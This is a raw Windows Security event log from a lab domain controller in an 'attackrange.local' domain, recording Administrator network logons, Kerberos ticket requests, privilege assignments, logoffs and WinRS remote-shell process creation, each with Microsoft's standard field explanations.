Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251721
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14059D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251720
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14059D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251719
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251718
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251717
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251716
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x98c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfa8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251715
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140366

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251714
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x140366
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64548

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251713
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140366

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251712
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Process Information:
	New Process ID:		0xfa8
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251711
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251710
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251709
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251708
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251707
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251706
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251705
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1402D2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64547

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251704
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251703
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140263

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251702
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x140263
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64546

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251701
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140263

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251700
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140202

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251699
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x140202
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64545

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251698
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140202

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251697
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140171

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251696
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251695
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EAAD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251694
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138B8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251693
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF50

Logon Type:			3

